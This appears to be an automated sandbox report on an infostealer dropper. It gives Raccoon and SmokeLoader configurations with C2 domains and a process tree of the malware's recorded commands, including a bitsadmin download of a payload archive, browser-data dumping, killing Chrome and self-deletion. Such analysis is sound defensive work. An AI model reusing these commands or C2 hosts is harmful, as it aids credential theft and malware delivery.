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Analysis

  • max time kernel
    109s
  • max time network
    150s
  • platform
    windows10_x64
  • resource
    win10v20210410
  • submitted
    22-04-2021 19:05

Errors

Reason
Machine shutdown

General

  • Target

    Install.exe

  • Size

    497KB

  • MD5

    41a5f4fd1ea7cac4aa94a87aebccfef0

  • SHA1

    0d0abf079413a4c773754bf4fda338dc5b9a8ddc

  • SHA256

    97e95e99fd499ec45a7c1d8683d5731ce5e7a8fb8b710622e578cd169a00d8d9

  • SHA512

    5ca14bda498f26efff4e1179969b8f2c25244063c7bf25f3ec20b5cd24b5be320bbfb8b3d0b2d66f5c5b415da777a766fece5f251a4247773c6cb991417fb75f

Malware Config

Extracted

Family

raccoon

Botnet

9afb493c6f82d08075dbbfa7d93ce97f1dbf4733

Attributes
  • url4cnc

    https://tttttt.me/antitantief3

rc4.plain
rc4.plain

Extracted

Family

smokeloader

Version

2020

C2

http://999080321newfolder1002002131-service1002.space/

http://999080321newfolder1002002231-service1002.space/

http://999080321newfolder3100231-service1002.space/

http://999080321newfolder1002002431-service1002.space/

http://999080321newfolder1002002531-service1002.space/

http://999080321newfolder33417-012425999080321.space/

http://999080321test125831-service10020125999080321.space/

http://999080321test136831-service10020125999080321.space/

http://999080321test147831-service10020125999080321.space/

http://999080321test146831-service10020125999080321.space/

http://999080321test134831-service10020125999080321.space/

http://999080321est213531-service1002012425999080321.ru/

http://999080321yes1t3481-service10020125999080321.ru/

http://999080321test13561-service10020125999080321.su/

http://999080321test14781-service10020125999080321.info/

http://999080321test13461-service10020125999080321.net/

http://999080321test15671-service10020125999080321.tech/

http://999080321test12671-service10020125999080321.online/

http://999080321utest1341-service10020125999080321.ru/

http://999080321uest71-service100201dom25999080321.ru/

rc4.i32
rc4.i32

Signatures

  • Raccoon

    Simple but powerful infostealer which was very active in 2019.

  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

  • RedLine Payload 1 IoCs
  • SmokeLoader

    Modular backdoor trojan in use since 2014.

  • Checks for common network interception software 1 TTPs

    Looks in the registry for tools like Wireshark or Fiddler commonly used to analyze network activity.

  • Downloads MZ/PE file
  • Drops file in Drivers directory 1 IoCs
  • Executes dropped EXE 24 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Loads dropped DLL 18 IoCs
  • Reads user/profile data of local email clients 2 TTPs

    Email clients store some user data on disk where infostealers will often target it.

  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Adds Run key to start application 2 TTPs 1 IoCs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Checks whether UAC is enabled 1 TTPs 1 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs
  • Looks up external IP address via web service 7 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Drops file in System32 directory 3 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 14 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Drops file in Program Files directory 64 IoCs
  • Drops file in Windows directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 8 IoCs
  • NSIS installer 2 IoCs
  • Checks SCSI registry key(s) 3 TTPs 6 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Delays execution with timeout.exe 2 IoCs
  • Download via BitsAdmin 1 TTPs 1 IoCs
  • Kills process with taskkill 1 IoCs
  • Modifies Internet Explorer settings 1 TTPs 3 IoCs
  • Modifies data under HKEY_USERS 13 IoCs
  • Modifies registry class 64 IoCs
  • Modifies system certificate store 2 TTPs 4 IoCs
  • Runs ping.exe 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: MapViewOfSection 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of SetWindowsHookEx 5 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • c:\windows\system32\svchost.exe
    c:\windows\system32\svchost.exe -k netsvcs -s Themes
    1⤵
      PID:1180
    • c:\windows\system32\svchost.exe
      c:\windows\system32\svchost.exe -k netsvcs -s LanmanServer
      1⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:2540
    • c:\windows\system32\svchost.exe
      c:\windows\system32\svchost.exe -k netsvcs -s Browser
      1⤵
        PID:2856
      • c:\windows\system32\svchost.exe
        c:\windows\system32\svchost.exe -k netsvcs -s WpnService
        1⤵
          PID:2804
        • c:\windows\system32\svchost.exe
          c:\windows\system32\svchost.exe -k netsvcs -s Winmgmt
          1⤵
          • Suspicious use of AdjustPrivilegeToken
          PID:2796
        • c:\windows\system32\svchost.exe
          c:\windows\system32\svchost.exe -k netsvcs -s IKEEXT
          1⤵
            PID:2504
          • c:\windows\system32\svchost.exe
            c:\windows\system32\svchost.exe -k netsvcs -s ShellHWDetection
            1⤵
              PID:1964
            • C:\Users\Admin\AppData\Local\Temp\Install.exe
              "C:\Users\Admin\AppData\Local\Temp\Install.exe"
              1⤵
              • Suspicious use of WriteProcessMemory
              PID:3176
              • C:\Users\Admin\AppData\Local\Temp\is-OH4BD.tmp\Install.tmp
                "C:\Users\Admin\AppData\Local\Temp\is-OH4BD.tmp\Install.tmp" /SL5="$2011C,235791,152064,C:\Users\Admin\AppData\Local\Temp\Install.exe"
                2⤵
                • Executes dropped EXE
                • Loads dropped DLL
                • Suspicious use of WriteProcessMemory
                PID:1360
                • C:\Users\Admin\AppData\Local\Temp\is-H311J.tmp\Ultra.exe
                  "C:\Users\Admin\AppData\Local\Temp\is-H311J.tmp\Ultra.exe" /S /UID=burnerch1
                  3⤵
                  • Drops file in Drivers directory
                  • Executes dropped EXE
                  • Adds Run key to start application
                  • Drops file in Program Files directory
                  • Suspicious use of AdjustPrivilegeToken
                  • Suspicious use of WriteProcessMemory
                  PID:2792
                  • C:\Program Files\Microsoft Office\VOWEGKBRSI\ultramediaburner.exe
                    "C:\Program Files\Microsoft Office\VOWEGKBRSI\ultramediaburner.exe" /VERYSILENT
                    4⤵
                    • Executes dropped EXE
                    • Suspicious use of WriteProcessMemory
                    PID:3968
                    • C:\Users\Admin\AppData\Local\Temp\is-D0E9G.tmp\ultramediaburner.tmp
                      "C:\Users\Admin\AppData\Local\Temp\is-D0E9G.tmp\ultramediaburner.tmp" /SL5="$50060,281924,62464,C:\Program Files\Microsoft Office\VOWEGKBRSI\ultramediaburner.exe" /VERYSILENT
                      5⤵
                      • Executes dropped EXE
                      • Drops file in Program Files directory
                      • Suspicious behavior: EnumeratesProcesses
                      • Suspicious use of FindShellTrayWindow
                      • Suspicious use of WriteProcessMemory
                      PID:1888
                      • C:\Program Files (x86)\UltraMediaBurner\UltraMediaBurner.exe
                        "C:\Program Files (x86)\UltraMediaBurner\UltraMediaBurner.exe" -silent -desktopShortcut -programMenu
                        6⤵
                        • Executes dropped EXE
                        PID:1384
                  • C:\Users\Admin\AppData\Local\Temp\dc-2cf99-cd2-08881-6dbd949d5bcb9\Hefushoxibi.exe
                    "C:\Users\Admin\AppData\Local\Temp\dc-2cf99-cd2-08881-6dbd949d5bcb9\Hefushoxibi.exe"
                    4⤵
                    • Executes dropped EXE
                    • Checks computer location settings
                    • Modifies system certificate store
                    • Suspicious use of AdjustPrivilegeToken
                    PID:2104
                  • C:\Users\Admin\AppData\Local\Temp\5c-846d0-bfb-b12aa-a194524c01818\Fepefaraexae.exe
                    "C:\Users\Admin\AppData\Local\Temp\5c-846d0-bfb-b12aa-a194524c01818\Fepefaraexae.exe"
                    4⤵
                    • Executes dropped EXE
                    • Suspicious behavior: EnumeratesProcesses
                    • Suspicious use of AdjustPrivilegeToken
                    • Suspicious use of WriteProcessMemory
                    PID:188
                    • C:\Windows\System32\cmd.exe
                      "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\uhx2afg3.ftl\instEU.exe & exit
                      5⤵
                      • Suspicious use of WriteProcessMemory
                      PID:4804
                      • C:\Users\Admin\AppData\Local\Temp\uhx2afg3.ftl\instEU.exe
                        C:\Users\Admin\AppData\Local\Temp\uhx2afg3.ftl\instEU.exe
                        6⤵
                        • Executes dropped EXE
                        PID:5056
                    • C:\Windows\System32\cmd.exe
                      "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\bemdmk0u.cbk\gpooe.exe & exit
                      5⤵
                        PID:4392
                      • C:\Windows\System32\cmd.exe
                        "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\hoykjocn.tmc\google-game.exe & exit
                        5⤵
                        • Suspicious use of WriteProcessMemory
                        PID:4720
                        • C:\Users\Admin\AppData\Local\Temp\hoykjocn.tmc\google-game.exe
                          C:\Users\Admin\AppData\Local\Temp\hoykjocn.tmc\google-game.exe
                          6⤵
                          • Executes dropped EXE
                          • Drops file in Program Files directory
                          • Suspicious use of SetWindowsHookEx
                          • Suspicious use of WriteProcessMemory
                          PID:4368
                          • C:\Windows\SysWOW64\rundll32.exe
                            "C:\Windows\System32\rundll32.exe" "C:\Program Files\install.dll",install
                            7⤵
                            • Loads dropped DLL
                            • Modifies registry class
                            • Suspicious use of AdjustPrivilegeToken
                            • Suspicious use of WriteProcessMemory
                            PID:5192
                      • C:\Windows\System32\cmd.exe
                        "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\ogc52wl4.zyh\md1_1eaf.exe & exit
                        5⤵
                        • Suspicious use of WriteProcessMemory
                        PID:5912
                        • C:\Users\Admin\AppData\Local\Temp\ogc52wl4.zyh\md1_1eaf.exe
                          C:\Users\Admin\AppData\Local\Temp\ogc52wl4.zyh\md1_1eaf.exe
                          6⤵
                          • Executes dropped EXE
                          • Checks whether UAC is enabled
                          PID:5980
                      • C:\Windows\System32\cmd.exe
                        "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\zgp2jzn1.5j0\askinstall36.exe & exit
                        5⤵
                        • Suspicious use of WriteProcessMemory
                        PID:6136
                        • C:\Users\Admin\AppData\Local\Temp\zgp2jzn1.5j0\askinstall36.exe
                          C:\Users\Admin\AppData\Local\Temp\zgp2jzn1.5j0\askinstall36.exe
                          6⤵
                          • Executes dropped EXE
                          • Suspicious use of WriteProcessMemory
                          PID:4756
                          • C:\Windows\SysWOW64\cmd.exe
                            cmd.exe /c taskkill /f /im chrome.exe
                            7⤵
                            • Suspicious use of WriteProcessMemory
                            PID:5988
                            • C:\Windows\SysWOW64\taskkill.exe
                              taskkill /f /im chrome.exe
                              8⤵
                              • Kills process with taskkill
                              PID:5132
                      • C:\Windows\System32\cmd.exe
                        "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\5sv4zap2.svd\FFPUNLPYFM.exe & exit
                        5⤵
                          PID:4332
                          • C:\Users\Admin\AppData\Local\Temp\5sv4zap2.svd\FFPUNLPYFM.exe
                            C:\Users\Admin\AppData\Local\Temp\5sv4zap2.svd\FFPUNLPYFM.exe
                            6⤵
                            • Executes dropped EXE
                            PID:4984
                            • C:\Users\Admin\AppData\Local\Temp\RarSFX0\main.exe
                              "C:\Users\Admin\AppData\Local\Temp\RarSFX0\main.exe"
                              7⤵
                              • Executes dropped EXE
                              • Loads dropped DLL
                              • Suspicious use of NtSetInformationThreadHideFromDebugger
                              PID:4604
                              • C:\Users\Admin\AppData\Local\Temp\RarSFX0\parse.exe
                                parse.exe -f json -b firefox
                                8⤵
                                • Executes dropped EXE
                                • Suspicious use of NtSetInformationThreadHideFromDebugger
                                PID:2776
                              • C:\Users\Admin\AppData\Local\Temp\RarSFX0\parse.exe
                                parse.exe -f json -b edge
                                8⤵
                                • Executes dropped EXE
                                • Suspicious use of NtSetInformationThreadHideFromDebugger
                                PID:2148
                              • C:\Users\Admin\AppData\Local\Temp\RarSFX0\parse.exe
                                parse.exe -f json -b chrome
                                8⤵
                                • Executes dropped EXE
                                • Suspicious use of NtSetInformationThreadHideFromDebugger
                                PID:4364
                        • C:\Windows\System32\cmd.exe
                          "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\p1elbhb0.sgs\y1.exe & exit
                          5⤵
                            PID:2128
                            • C:\Users\Admin\AppData\Local\Temp\p1elbhb0.sgs\y1.exe
                              C:\Users\Admin\AppData\Local\Temp\p1elbhb0.sgs\y1.exe
                              6⤵
                              • Executes dropped EXE
                              • Loads dropped DLL
                              PID:5696
                              • C:\Users\Admin\AppData\Local\Temp\vHeOvDZvWK.exe
                                "C:\Users\Admin\AppData\Local\Temp\vHeOvDZvWK.exe"
                                7⤵
                                • Executes dropped EXE
                                • Modifies system certificate store
                                PID:1848
                                • C:\Users\Admin\AppData\Roaming\1619118648492.exe
                                  "C:\Users\Admin\AppData\Roaming\1619118648492.exe" /sjson "C:\Users\Admin\AppData\Roaming\1619118648492.txt"
                                  8⤵
                                  • Executes dropped EXE
                                  PID:4504
                                • C:\Windows\SysWOW64\cmd.exe
                                  cmd /c ping 127.0.0.1 -n 3 & del "C:\Users\Admin\AppData\Local\Temp\vHeOvDZvWK.exe"
                                  8⤵
                                    PID:4228
                                    • C:\Windows\SysWOW64\PING.EXE
                                      ping 127.0.0.1 -n 3
                                      9⤵
                                      • Runs ping.exe
                                      PID:4296
                                • C:\Windows\SysWOW64\cmd.exe
                                  cmd.exe /C timeout /T 10 /NOBREAK > Nul & Del /f /q "C:\Users\Admin\AppData\Local\Temp\p1elbhb0.sgs\y1.exe"
                                  7⤵
                                    PID:5052
                                    • C:\Windows\SysWOW64\timeout.exe
                                      timeout /T 10 /NOBREAK
                                      8⤵
                                      • Delays execution with timeout.exe
                                      PID:5504
                              • C:\Windows\System32\cmd.exe
                                "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\1at5trs0.qis\toolspab1.exe & exit
                                5⤵
                                  PID:4408
                                  • C:\Users\Admin\AppData\Local\Temp\1at5trs0.qis\toolspab1.exe
                                    C:\Users\Admin\AppData\Local\Temp\1at5trs0.qis\toolspab1.exe
                                    6⤵
                                    • Executes dropped EXE
                                    • Suspicious use of SetThreadContext
                                    PID:5744
                                    • C:\Users\Admin\AppData\Local\Temp\1at5trs0.qis\toolspab1.exe
                                      C:\Users\Admin\AppData\Local\Temp\1at5trs0.qis\toolspab1.exe
                                      7⤵
                                      • Executes dropped EXE
                                      • Loads dropped DLL
                                      • Checks SCSI registry key(s)
                                      • Suspicious behavior: MapViewOfSection
                                      PID:5024
                                • C:\Windows\System32\cmd.exe
                                  "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\fesuyrqu.gf5\SunLabsPlayer.exe /S & exit
                                  5⤵
                                    PID:5612
                                    • C:\Users\Admin\AppData\Local\Temp\fesuyrqu.gf5\SunLabsPlayer.exe
                                      C:\Users\Admin\AppData\Local\Temp\fesuyrqu.gf5\SunLabsPlayer.exe /S
                                      6⤵
                                      • Executes dropped EXE
                                      • Loads dropped DLL
                                      • Drops file in Program Files directory
                                      PID:4752
                                      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                        powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsxFF47.tmp\tempfile.ps1"
                                        7⤵
                                          PID:4928
                                        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                          powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsxFF47.tmp\tempfile.ps1"
                                          7⤵
                                            PID:5600
                                          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                            powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsxFF47.tmp\tempfile.ps1"
                                            7⤵
                                              PID:6028
                                            • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                              powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsxFF47.tmp\tempfile.ps1"
                                              7⤵
                                                PID:3464
                                              • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsxFF47.tmp\tempfile.ps1"
                                                7⤵
                                                  PID:3768
                                                • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                  powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsxFF47.tmp\tempfile.ps1"
                                                  7⤵
                                                    PID:5068
                                                  • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                    powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsxFF47.tmp\tempfile.ps1"
                                                    7⤵
                                                      PID:5836
                                                    • C:\Windows\SysWOW64\bitsadmin.exe
                                                      "bitsadmin" /Transfer helper http://sunlabsinternational.com/data/data.7z C:\zip.7z
                                                      7⤵
                                                      • Download via BitsAdmin
                                                      PID:5772
                                                • C:\Windows\System32\cmd.exe
                                                  "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\w1geonv0.dfw\GcleanerWW.exe /mixone & exit
                                                  5⤵
                                                    PID:2256
                                                  • C:\Windows\System32\cmd.exe
                                                    "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\pzq5ch34.jxl\inst.exe & exit
                                                    5⤵
                                                      PID:3812
                                                      • C:\Users\Admin\AppData\Local\Temp\pzq5ch34.jxl\inst.exe
                                                        C:\Users\Admin\AppData\Local\Temp\pzq5ch34.jxl\inst.exe
                                                        6⤵
                                                          PID:5012
                                                      • C:\Windows\System32\cmd.exe
                                                        "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\os1lihhw.r3f\c7ae36fa.exe & exit
                                                        5⤵
                                                          PID:3984
                                                          • C:\Users\Admin\AppData\Local\Temp\os1lihhw.r3f\c7ae36fa.exe
                                                            C:\Users\Admin\AppData\Local\Temp\os1lihhw.r3f\c7ae36fa.exe
                                                            6⤵
                                                            • Executes dropped EXE
                                                            • Loads dropped DLL
                                                            • Checks SCSI registry key(s)
                                                            • Suspicious behavior: MapViewOfSection
                                                            PID:1588
                                                        • C:\Windows\System32\cmd.exe
                                                          "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\sm5b3u2g.gwh\app.exe /8-2222 & exit
                                                          5⤵
                                                            PID:5504
                                                  • c:\windows\system32\svchost.exe
                                                    c:\windows\system32\svchost.exe -k netsvcs -s UserManager
                                                    1⤵
                                                      PID:1376
                                                    • c:\windows\system32\svchost.exe
                                                      c:\windows\system32\svchost.exe -k netsvcs -s SENS
                                                      1⤵
                                                        PID:1352
                                                      • c:\windows\system32\svchost.exe
                                                        c:\windows\system32\svchost.exe -k netsvcs -s ProfSvc
                                                        1⤵
                                                          PID:1172
                                                        • c:\windows\system32\svchost.exe
                                                          c:\windows\system32\svchost.exe -k netsvcs -s Schedule
                                                          1⤵
                                                            PID:344
                                                          • c:\windows\system32\svchost.exe
                                                            c:\windows\system32\svchost.exe -k netsvcs -s gpsvc
                                                            1⤵
                                                              PID:996
                                                            • \??\c:\windows\system32\svchost.exe
                                                              c:\windows\system32\svchost.exe -k netsvcs -s BITS
                                                              1⤵
                                                              • Suspicious use of SetThreadContext
                                                              • Modifies registry class
                                                              • Suspicious use of AdjustPrivilegeToken
                                                              • Suspicious use of WriteProcessMemory
                                                              PID:2880
                                                              • C:\Windows\system32\svchost.exe
                                                                C:\Windows\system32\svchost.exe -k SystemNetworkService
                                                                2⤵
                                                                • Drops file in System32 directory
                                                                • Checks processor information in registry
                                                                • Modifies data under HKEY_USERS
                                                                • Modifies registry class
                                                                PID:5304
                                                            • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe
                                                              "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca
                                                              1⤵
                                                              • Drops file in Windows directory
                                                              • Modifies Internet Explorer settings
                                                              • Modifies registry class
                                                              • Suspicious use of AdjustPrivilegeToken
                                                              • Suspicious use of SetWindowsHookEx
                                                              PID:4100
                                                            • C:\Windows\system32\browser_broker.exe
                                                              C:\Windows\system32\browser_broker.exe -Embedding
                                                              1⤵
                                                              • Modifies Internet Explorer settings
                                                              PID:4140
                                                            • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
                                                              "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
                                                              1⤵
                                                              • Modifies registry class
                                                              • Suspicious use of SetWindowsHookEx
                                                              PID:4364
                                                            • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
                                                              "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
                                                              1⤵
                                                              • Modifies Internet Explorer settings
                                                              • Modifies registry class
                                                              • Suspicious use of AdjustPrivilegeToken
                                                              PID:4428
                                                            • C:\Users\Admin\AppData\Local\Temp\E000.exe
                                                              C:\Users\Admin\AppData\Local\Temp\E000.exe
                                                              1⤵
                                                                PID:3928
                                                              • C:\Users\Admin\AppData\Local\Temp\E224.exe
                                                                C:\Users\Admin\AppData\Local\Temp\E224.exe
                                                                1⤵
                                                                • Executes dropped EXE
                                                                PID:5012
                                                              • C:\Users\Admin\AppData\Local\Temp\F550.exe
                                                                C:\Users\Admin\AppData\Local\Temp\F550.exe
                                                                1⤵
                                                                  PID:5988
                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                    cmd.exe /C timeout /T 10 /NOBREAK > Nul & Del /f /q "C:\Users\Admin\AppData\Local\Temp\F550.exe"
                                                                    2⤵
                                                                      PID:4420
                                                                      • C:\Windows\SysWOW64\timeout.exe
                                                                        timeout /T 10 /NOBREAK
                                                                        3⤵
                                                                        • Delays execution with timeout.exe
                                                                        PID:4592
                                                                  • C:\Users\Admin\AppData\Local\Temp\FBB9.exe
                                                                    C:\Users\Admin\AppData\Local\Temp\FBB9.exe
                                                                    1⤵
                                                                      PID:5372
                                                                      • C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
                                                                        C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
                                                                        2⤵
                                                                          PID:4952
                                                                      • C:\Users\Admin\AppData\Local\Temp\2FE.exe
                                                                        C:\Users\Admin\AppData\Local\Temp\2FE.exe
                                                                        1⤵
                                                                          PID:5404
                                                                          • C:\Users\Admin\AppData\Local\Temp\647349126.exe
                                                                            "C:\Users\Admin\AppData\Local\Temp\647349126.exe"
                                                                            2⤵
                                                                              PID:4212
                                                                              • C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
                                                                                C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
                                                                                3⤵
                                                                                  PID:5672
                                                                              • C:\Users\Admin\AppData\Local\Temp\1371397063.exe
                                                                                "C:\Users\Admin\AppData\Local\Temp\1371397063.exe"
                                                                                2⤵
                                                                                  PID:6132
                                                                                  • C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
                                                                                    C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
                                                                                    3⤵
                                                                                      PID:2292
                                                                                    • C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
                                                                                      C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
                                                                                      3⤵
                                                                                        PID:2248
                                                                                  • C:\Users\Admin\AppData\Local\Temp\57F.exe
                                                                                    C:\Users\Admin\AppData\Local\Temp\57F.exe
                                                                                    1⤵
                                                                                      PID:4992
                                                                                    • C:\Users\Admin\AppData\Local\Temp\63C.exe
                                                                                      C:\Users\Admin\AppData\Local\Temp\63C.exe
                                                                                      1⤵
                                                                                        PID:3900
                                                                                        • C:\Windows\SysWOW64\WerFault.exe
                                                                                          C:\Windows\SysWOW64\WerFault.exe -u -p 3900 -s 848
                                                                                          2⤵
                                                                                          • Program crash
                                                                                          PID:5524
                                                                                        • C:\Windows\SysWOW64\WerFault.exe
                                                                                          C:\Windows\SysWOW64\WerFault.exe -u -p 3900 -s 896
                                                                                          2⤵
                                                                                          • Program crash
                                                                                          PID:5840
                                                                                        • C:\Windows\SysWOW64\WerFault.exe
                                                                                          C:\Windows\SysWOW64\WerFault.exe -u -p 3900 -s 924
                                                                                          2⤵
                                                                                          • Program crash
                                                                                          PID:4616
                                                                                        • C:\Windows\SysWOW64\WerFault.exe
                                                                                          C:\Windows\SysWOW64\WerFault.exe -u -p 3900 -s 1064
                                                                                          2⤵
                                                                                          • Program crash
                                                                                          PID:5976
                                                                                        • C:\Windows\SysWOW64\WerFault.exe
                                                                                          C:\Windows\SysWOW64\WerFault.exe -u -p 3900 -s 1164
                                                                                          2⤵
                                                                                          • Program crash
                                                                                          PID:5960
                                                                                        • C:\Windows\SysWOW64\WerFault.exe
                                                                                          C:\Windows\SysWOW64\WerFault.exe -u -p 3900 -s 1204
                                                                                          2⤵
                                                                                          • Program crash
                                                                                          PID:5428
                                                                                        • C:\Windows\SysWOW64\WerFault.exe
                                                                                          C:\Windows\SysWOW64\WerFault.exe -u -p 3900 -s 1240
                                                                                          2⤵
                                                                                          • Program crash
                                                                                          PID:4564
                                                                                        • C:\Windows\SysWOW64\WerFault.exe
                                                                                          C:\Windows\SysWOW64\WerFault.exe -u -p 3900 -s 1128
                                                                                          2⤵
                                                                                          • Program crash
                                                                                          PID:1276
                                                                                      • C:\Users\Admin\AppData\Local\Temp\91B.exe
                                                                                        C:\Users\Admin\AppData\Local\Temp\91B.exe
                                                                                        1⤵
                                                                                          PID:1264
                                                                                        • C:\Users\Admin\AppData\Local\Temp\108E.exe
                                                                                          C:\Users\Admin\AppData\Local\Temp\108E.exe
                                                                                          1⤵
                                                                                            PID:4412
                                                                                          • C:\Users\Admin\AppData\Local\Temp\1830.exe
                                                                                            C:\Users\Admin\AppData\Local\Temp\1830.exe
                                                                                            1⤵
                                                                                              PID:1580
                                                                                              • C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
                                                                                                C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
                                                                                                2⤵
                                                                                                  PID:4516
                                                                                                • C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
                                                                                                  C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
                                                                                                  2⤵
                                                                                                    PID:856
                                                                                                • C:\Users\Admin\AppData\Local\Temp\1B9C.exe
                                                                                                  C:\Users\Admin\AppData\Local\Temp\1B9C.exe
                                                                                                  1⤵
                                                                                                    PID:5128
                                                                                                  • C:\Users\Admin\AppData\Local\Temp\2293.exe
                                                                                                    C:\Users\Admin\AppData\Local\Temp\2293.exe
                                                                                                    1⤵
                                                                                                      PID:4932
                                                                                                    • C:\Users\Admin\AppData\Local\Temp\3AA0.exe
                                                                                                      C:\Users\Admin\AppData\Local\Temp\3AA0.exe
                                                                                                      1⤵
                                                                                                        PID:5928
                                                                                                      • C:\Users\Admin\AppData\Local\Temp\3F54.exe
                                                                                                        C:\Users\Admin\AppData\Local\Temp\3F54.exe
                                                                                                        1⤵
                                                                                                          PID:5320
                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                            "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\cxzvfpjv\
                                                                                                            2⤵
                                                                                                              PID:5376
                                                                                                            • C:\Users\Admin\wytzsfp.exe
                                                                                                              "C:\Users\Admin\wytzsfp.exe" /d"C:\Users\Admin\AppData\Local\Temp\3F54.exe" /e5503011100000005
                                                                                                              2⤵
                                                                                                                PID:416
                                                                                                            • C:\Users\Admin\AppData\Local\Temp\44A4.exe
                                                                                                              C:\Users\Admin\AppData\Local\Temp\44A4.exe
                                                                                                              1⤵
                                                                                                                PID:5016
                                                                                                              • C:\Users\Admin\AppData\Local\Temp\4C66.exe
                                                                                                                C:\Users\Admin\AppData\Local\Temp\4C66.exe
                                                                                                                1⤵
                                                                                                                  PID:5960
                                                                                                                • C:\Windows\SysWOW64\explorer.exe
                                                                                                                  C:\Windows\SysWOW64\explorer.exe
                                                                                                                  1⤵
                                                                                                                    PID:5196

                                                                                                                  Network

                                                                                                                  MITRE ATT&CK Enterprise v6

                                                                                                                  Replay Monitor

                                                                                                                  Loading Replay Monitor...

                                                                                                                  Downloads

                                                                                                                  • memory/188-152-0x0000000002185000-0x0000000002186000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    4KB

                                                                                                                  • memory/188-147-0x0000000002182000-0x0000000002184000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    8KB

                                                                                                                  • memory/188-145-0x0000000002180000-0x0000000002182000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    8KB

                                                                                                                  • memory/344-186-0x0000022347890000-0x00000223478DB000-memory.dmp

                                                                                                                    Filesize

